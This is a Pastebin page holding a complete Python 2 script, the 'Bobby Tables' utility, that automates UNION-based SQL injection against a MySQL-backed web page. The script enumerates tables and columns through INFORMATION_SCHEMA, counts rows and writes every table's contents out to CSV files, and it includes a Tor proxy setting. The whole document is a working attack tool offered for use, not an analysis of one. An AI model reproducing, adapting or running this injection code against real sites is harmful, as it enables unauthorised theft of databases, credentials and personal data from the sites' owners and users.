Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # Bobby Tables MySQL Data Extraction utility
- # Extracts data from MySQL databases via SQL injection
- # v1.2 !!!!!
- # http://twitter.com/info_dox
- # www.infodox.co.cc
- # blog.infodox.co.cc
- import urllib
- import sys
- import getopt
- import string
- import os
- import time
- def convert_char(element):
- char_element = 'char('
- for charac in element:
- char_element += str(ord(charac))+','
- char_element = char_element[:-1]+')'
- return char_element
- print("Welcome to Bobby Tables SQL Injection Utility")
- print("If your vulnURL is www.blah.com/vuln.php?id=1&page=2[INJECTHERE]&pl0x=3")
- print("Then first part of the URL is www.blah.com/vuln.php?id=1&page=2")
- print("The rest is the second part. If there is no second part leave that field blank or something!")
- base_url_start = raw_input("First part of the vuln URL: ")
- base_url_end = raw_input("Second part of the vuln URL: ") # Second part of the vuln URL
- proxies = {'http': 'http://127.0.0.1:8118'} # IP:Port of TOR running on Localhost
- #change if the page source already contains the delimiter string
- string_delimiter = '-----'
- string_delimiter_char = convert_char(string_delimiter)
- #change if the page source already contains the column delimiter string
- column_delimiter = '!!!!!'
- column_delimiter_char = convert_char(column_delimiter)
- #increase to increase speed but make sure that the results wont be cut....
- results_limit = str(10)
- def print_options(tables):
- idx = 1
- column = 0
- line = ''
- for table in tables:
- if (len(str(idx)) == 1):
- idx_str = ' '+str(idx)
- if (len(str(idx)) == 2):
- idx_str = ' '+str(idx)
- if (len(str(idx)) == 3):
- idx_str = str(idx)
- if idx == len(tables):
- print line+'\n\n\t -1 -\tAll\t\t\t 0 - \tExit'
- else:
- if column == 3:
- if (len(table) > 12):
- line += '\t'+idx_str + ' - ' +table[:12]+'...\t'
- else:
- if (len(table) <=9):
- if (len(table) <=6):
- line += '\t'+idx_str + ' - ' +table+' \t\t'
- else:
- line += '\t'+idx_str + ' - ' +table+' \t'
- else:
- line += '\t'+idx_str + ' - ' +table+' \t'
- print line
- line = ''
- column = 0
- else:
- if (len(table) > 12):
- line += '\t'+idx_str + ' - ' +table[:12]+'...\t'
- else:
- if (len(table) <=9):
- if (len(table) <=6):
- line += '\t'+idx_str + ' - ' +table+' \t\t'
- else:
- line += '\t'+idx_str + ' - ' +table+' \t'
- else:
- line += '\t'+idx_str + ' - ' +table+' \t'
- column +=1
- idx += 1
- def extract_table(table_name, time_per_get):
- try:
- print "Extracting "+table_name+ " table"
- table_arg = table_name
- fw = open(table_arg+'.csv', 'w')
- #convert table name to char(xxx,xxx...)
- table = convert_char(table_arg)
- #get column list
- get_columns_data = base_url_start + '%20union%20select%201,2,concat('+string_delimiter_char+',(select%20group_concat(column_name)%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%20=%20'+table+'%20and%20table_schema=database()),'+string_delimiter_char+'),4,5,6'+base_url_end
- page = urllib.urlopen(get_columns_data)
- columns = string.split(string.split(page.read(),string_delimiter)[1],',')
- #get table count
- get_table_count = base_url_start + '%20union%20select%201,2,concat('+string_delimiter_char+',(select%20count(*)%20FROM%20'+table_arg+'),'+string_delimiter_char+'),4,5,6'+base_url_end
- page = urllib.urlopen(get_table_count)
- row_count = string.split(string.split(page.read(),string_delimiter)[1],',')
- print 'Rows:'
- print row_count[0]
- eta = ((float(row_count[0]) * float(len(columns))) / float(results_limit)) * float(time_per_get)
- print "ETA: "+str((int(eta)) / 60 ) + ' minutes'
- if (int(row_count[0]) > 0):
- #create file header
- header = ''
- for column in columns:
- header += column +','
- print 'Extracting columns:'
- print header
- iterations = (int(row_count[0]) / int(results_limit)) +1
- order_by = columns[0]
- for column in columns:
- current_offset = 0
- current_column_data = column + ':'
- for row_id in range(iterations):
- get_row_data = base_url_start + '%20union%20select%201,2,concat('+string_delimiter_char+',(select%20group_concat(t.row1,'+column_delimiter_char+')%20FROM%20(select%20'+column+'%20as%20row1%20FROM%20'+table_arg+'%20order%20by%20'+order_by+'%20LIMIT%20'+str(current_offset)+','+results_limit+')%20as%20t),'+string_delimiter_char+'),4,5,6'+base_url_end
- page = urllib.urlopen(get_row_data)
- try:
- row_data = string.split(string.split(page.read(),string_delimiter)[1],column_delimiter+',')
- except:
- pass
- row_data[len(row_data)-1] = row_data[len(row_data)-1][:-1*(len(column_delimiter))]
- current_offset += int(results_limit)
- for data_r in row_data:
- current_column_data += data_r+','
- fw.write(current_column_data[:-1]+'\n')
- fw.flush()
- os.fsync(fw.fileno())
- fw.close()
- else:
- print "The table has no rows"
- except ValueError:
- print ValueError
- #"some stupid error ocurred... "
- def main():
- t0 = time.time()
- #get table list
- get_table_list = base_url_start + '%20union%20select%201,2,concat('+string_delimiter_char+',(select%20group_concat(table_name)%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20%20table_schema=database()),'+string_delimiter_char+'),4,5,6'+base_url_end
- page = urllib.urlopen(get_table_list)
- tables = string.split(string.split(page.read(),string_delimiter)[1],',')
- time_per_get = time.time() - t0
- while True:
- try:
- print_options(tables)
- option = str(input('\nChose table: '))
- try:
- if str(option) == '0':
- return
- except:
- pass
- if int(option) == -1:
- for table in tables:
- extract_table(table, time_per_get)
- else:
- print 'wtf?'
- extract_table(tables[int(option) -1], time_per_get)
- option = ''
- except:
- pass
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
